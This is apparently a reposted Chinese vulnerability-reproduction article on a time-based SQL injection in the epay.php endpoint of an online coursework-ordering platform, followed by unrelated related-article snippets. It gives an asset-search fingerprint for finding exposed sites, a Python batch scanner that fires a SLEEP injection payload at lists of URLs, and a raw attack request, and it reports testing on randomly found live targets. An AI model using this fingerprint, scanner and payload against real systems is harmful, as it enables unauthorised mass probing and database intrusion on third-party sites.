【漏洞复现】29网课交单平台 SQL注入

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

29网课交单平台是一个在线学习平台,用于帮助学生完成网络课程的学习任务。这个平台提供了包括登录、注册、用户界面、任务进度列表等多种功能,用户可以通过平台管理自己的学习进度,查看和提交作业等。但是这个于平台在 /epay/epay.php 接口处存在sql注入漏洞。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body="你在看什么呢?我写的代码好看吗"

2.使用poc批量扫描

import http.client  # 导入http.client模块,用于发送HTTP请求
import ssl          # 导入ssl模块,用于处理SSL证书验证
import argparse     # 导入argparse模块,用于解析命令行参数
from urllib.parse import urlparse  # 导入urlparse函数,用于解析URL
import time         # 导入time模块,用于计算时间差# 定义控制台输出颜色代码
RED = '\033[91m'   # 红色
RESET = '\033[0m'  # 重置颜色def check_vulnerability(url):"""检查给定URL是否存在特定的SQL注入漏洞。"""try:# 解析URL,获取域名和协议parsed_url = urlparse(url)# 设置请求的路径和数据体path = "/epay/epay.php"  # 要请求的路径# 构造POST请求的数据体,包含潜在的SQL注入payloadbody = "out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(3)))eEcA) AND 'aEmC'='aEmC"headers = {"Content-Type": "application/x-www-form-urlencoded",  # 设置Content-Type头"User-Agent": "Mozilla/5.0"  # 设置User-Agent头}# 根据URL的协议创建连接对象,如果是HTTPS则忽略证书验证conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context()) if parsed_url.scheme == "https" else http.client.HTTPConnection(parsed_url.netloc)# 记录开始时间start_time = time.time()# 发送POST请求conn.request("POST", path, body=body, headers=headers)# 获取服务器响应response = conn.getresponse()# 计算请求耗时elapsed_time = time.time() - start_time# 如果响应时间在3到5秒之间,可能表明存在SQL注入漏洞(因为waitfor delay '0:0:3'会延迟响应)if 3 <= elapsed_time <= 5:print(f"{RED}URL [{url}] 可能存在29网课交单平台 epay.php SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except Exception as e:# 如果请求失败,打印错误信息print(f"URL [{url}] 请求失败: {e}")def main():"""主函数,解析命令行参数并调用漏洞检查函数。"""# 创建命令行参数解析器parser = argparse.ArgumentParser(description='检测目标地址是否存在29网课交单平台 epay.php SQL注入漏洞')# 添加命令行参数选项parser.add_argument('-u', '--url', help='指定目标地址')parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')# 解析命令行参数args = parser.parse_args()# 如果指定了单个URL,进行漏洞检查if args.url:# 确保URL格式正确if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了包含多个URL的文件,逐个读取并进行漏洞检查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()  # 读取所有行并去除换行符for url in urls:# 确保URL格式正确if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 当作为主程序运行时,调用main函数
if __name__ == '__main__':main()

cmd运行:python poc.py -f url.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

POST /epay/epay.php HTTP/1.1
Host:ip
Content-Type: application/x-www-form-urlencodedout_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC

2.数据包分析 

  1. POST: 这是一个HTTP方法,用于向服务器提交数据。

  2. /epay/epay.php: 这是请求的URI,指定了服务器上处理这个请求的具体位置。

  3. HTTP/1.1: 这是使用的HTTP协议版本。

  4. Host: ip: 这里的Host头部字段指定了接收请求的服务器的地址。

  5. Content-Type: application/x-www-form-urlencoded: 这指示了请求体(body)的数据编码格式。

  6. 请求体(Request Body):out_trade_no=' AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC

    • out_trade_no=是参数名,正常情况下,它可能表示一个交易编号。
    • 'AND (SELECT 8078 FROM (SELECT(SLEEP(5)))eEcA) AND 'aEmC'='aEmC 是追加到参数值中的恶意内容,目的在于测试和利用SQL注入漏洞。
    • SLEEP(5) 是一个MySQL函数,它会暂停(sleep)执行5秒。如果这个请求导致服务器延迟响应5秒,那么攻击者可以确认SQL注入漏洞存在,因为这意味着他们输入的SQL代码已经被数据库执行。
    • 'aEmC'='aEmC 是为了使SQL语句在逻辑上成立(永远为true),从而不干扰原查询的其他部分。

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

寄语:给时光以生命,给岁月以文明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3223596.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【开源】基于RMBG的一键抠图与证件照制作系统【含一键启动包】

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

Transformer-LSTM预测 | Matlab实现Transformer-LSTM时间序列预测

Transformer-LSTM预测 | Matlab实现Transformer-LSTM时间序列预测 目录 Transformer-LSTM预测 | Matlab实现Transformer-LSTM时间序列预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现Transformer-LSTM时间序列预测&#xff0c;Transformer-LSTM&#xf…

第五次作业(多表联合查询)

新增员工表emp和部门表dept create table dept (dept1 int ,dept_name varchar(11)) charsetutf8; create table emp (sid int ,name varchar(11),age int,worktime_start date,incoming int,dept2 int) charsetutf8; insert into dept values (101,财务), (102,销售…

入门PHP就来我这(高级)18 ~ 获取结果集

有胆量你就来跟着路老师卷起来&#xff01; -- 纯干货&#xff0c;技术知识分享 路老师给大家分享PHP语言的知识了&#xff0c;旨在想让大家入门PHP&#xff0c;并深入了解PHP语言。 1 PDO中获取结果集 在PDO中获取结果集常用3中方法&#xff1a;fetch()方法、fetchAll()方法和…

两位软件工程师创业,开发出一款软件质量保证自主AI代理,融资总额超3000万美元

编译整理&#xff5c;TesterHome社区 来源&#xff5c;TechCrunch 随着生成式人工智能&#xff08;generative AI&#xff09;的出现&#xff0c;人工智能应用正在改变和重塑各行各业&#xff0c;并改变人们的工作方式。软件开发也不例外。 总部位于旧金山和东京的初创公司Aut…

算法学习笔记(8.2)-动态规划入门进阶

目录 问题判断: 问题求解步骤&#xff1a; 图例&#xff1a; 解析&#xff1a; 方法一&#xff1a;暴力搜索 实现代码如下所示&#xff1a; 解析&#xff1a; 方法二&#xff1a;记忆化搜索 代码示例&#xff1a; 解析&#xff1a; 方法三&#xff1a;动态规划 空间…

C++进阶:继承和多态

文章目录 ❤️继承&#x1fa77;继承与友元&#x1f9e1;继承和静态成员&#x1f49b;菱形继承及菱形虚拟继承&#x1f49a;继承和组合 ❤️多态&#x1fa77;什么是多态&#xff1f;&#x1f9e1;多态的定义以及实现&#x1f49b;虚函数&#x1f49a;虚函数的重写&#x1f499…

MySQL之基本查询(上)-表的增删查改

目录 Create(创建) 案例建表 插入 单行数据 指定列插入 单行数据 全列插入 多行数据 全列插入 插入是否更新 插入时更新 替换 Retrieve(读取) 建表插入 select列 全列查询 指定列查询 查询字段为表达式 为查询结果指定别名 结果去重 where条件 比较运算符 逻辑运…

【深度学习基础】MacOS PyCharm连接远程服务器

目录 一、需求描述二、建立与服务器的远程连接1. 新版Pycharm的界面有什么不同&#xff1f;2. 创建远程连接3. 建立本地项目与远程服务器项目之间的路径映射4.设置保存自动上传文件 三、设置解释器总结 写在前面&#xff0c;本人用的是Macbook Pro&#xff0c; M3 MAX处理器&am…

opencv读取视频文件夹内视频的名字_时长_帧率_分辨率写入excel-cnblog

看视频的时候有的视频文件名贼长。想要翻看&#xff0c;在文件夹里根本显示不出来&#xff0c;缩短又会丢失一些信息&#xff0c;所以我写了一份Python代码&#xff0c;直接获取视频的名字&#xff0c;时长&#xff0c;帧率&#xff0c;还有分辨率写到excel里。 实际效果如下图…

uniapp父页面调用子页面 组件方法记录

文章目录 导文如何点击父页面&#xff0c;触发子页面函数先写一个子页面的基础内容父元素 如何点击父页面&#xff0c;修改子页面的值先写一个子页面的基础内容父元素 导文 如何点击父页面&#xff0c;触发子页面函数&#xff1f; 如何点击父页面&#xff0c;修改子页面的值&am…

Java基础语法--基本数据类型

Java基础语法–基本数据类型 Java是一种静态类型语言&#xff0c;这意味着每个变量在使用前都必须声明其数据类型。Java提供了多种基本数据类型&#xff0c;用于存储整数、浮点数、字符和布尔值等。以下是Java中的基本数据类型及其特点&#xff1a; 1. 整型&#xff08;Integ…

offer题目33:判断是否是二叉搜索树的后序遍历序列

题目描述&#xff1a;输入一个整数数组&#xff0c;判断该数组是不是某二叉搜索树的后序遍历结果。如果是则返回true,否则返回false。假设输入的数组的任意两个数字都互不相同。例如&#xff0c;输入数组{5,7,6,9,11,10,8},则返回true,&#xff0c;因为这个整数是下图二叉搜索树…

如何从 Vue 2 无痛升级到 Vue 3,一文搞定!

大家好,我是CodeQi! 一位热衷于技术分享的码仔。 随着 Vue 3 的发布,许多开发者都面临着从 Vue 2 升级到 Vue 3 的挑战。 本文将详细介绍如何从 Vue 2 无痛升级到 Vue 3,包括每个步骤的详细说明与代码示例。 让我们开始吧! 准备工作 在正式开始升级之前,请确保你已经…

C基础day7

一、思维导图 二、课后练习 1、提示并输入一个字符串&#xff0c;统计该字符串中字母、数字、空格以及其他字符的个数 #include<myhead.h> #define M 20 int main(int argc, const char *argv[]) {int sum_a0,sum_b0,sum_c0,sum_d0;char str[M];printf("please en…

使用redis进行短信登录验证(验证码打印在控制台)

使用redis进行短信登录验证 一、流程1. 总体流程图2. 流程文字讲解&#xff1a;3.代码3.1 UserServiceImpl&#xff1a;&#xff08;难点&#xff09;3.2 拦截器LoginInterceptor&#xff1a;3.3 拦截器配置类&#xff1a; 4 功能实现&#xff0c;成功存入redis &#xff08;黑…

HTML5+CSS3小实例:响应式漫画网格布局

实例:响应式漫画网格布局 技术栈:HTML+CSS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-sc…

Windows11配置WSL2支持代理上网

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、安装WSL2分发版二、配置步骤三、测试总结 前言 说起来本来这个功能我也不需要的&#xff0c;只是最近突然有个需求就顺便研究了下&#xff0c;WSL2默认的网…

Docker-compse的应用

1 docker-compose # 使用了docker 面临一个比较大的问题&#xff0c;如果一个djagno项目&#xff0c;使用mysql&#xff0c;redis&#xff0c;不要一次性把所有服务都放到一个容器中&#xff0c;每个服务一个容器&#xff0c;批量的管理多个容器&#xff0c;比较难以操作&…

KIVY Button¶

Button — Kivy 2.3.0 documentation Button Jump to API ⇓ Module: kivy.uix.button Added in 1.0.0 The Button is a Label with associated actions that are triggered when the button is pressed (or released after a click/touch). To configure the button, the s…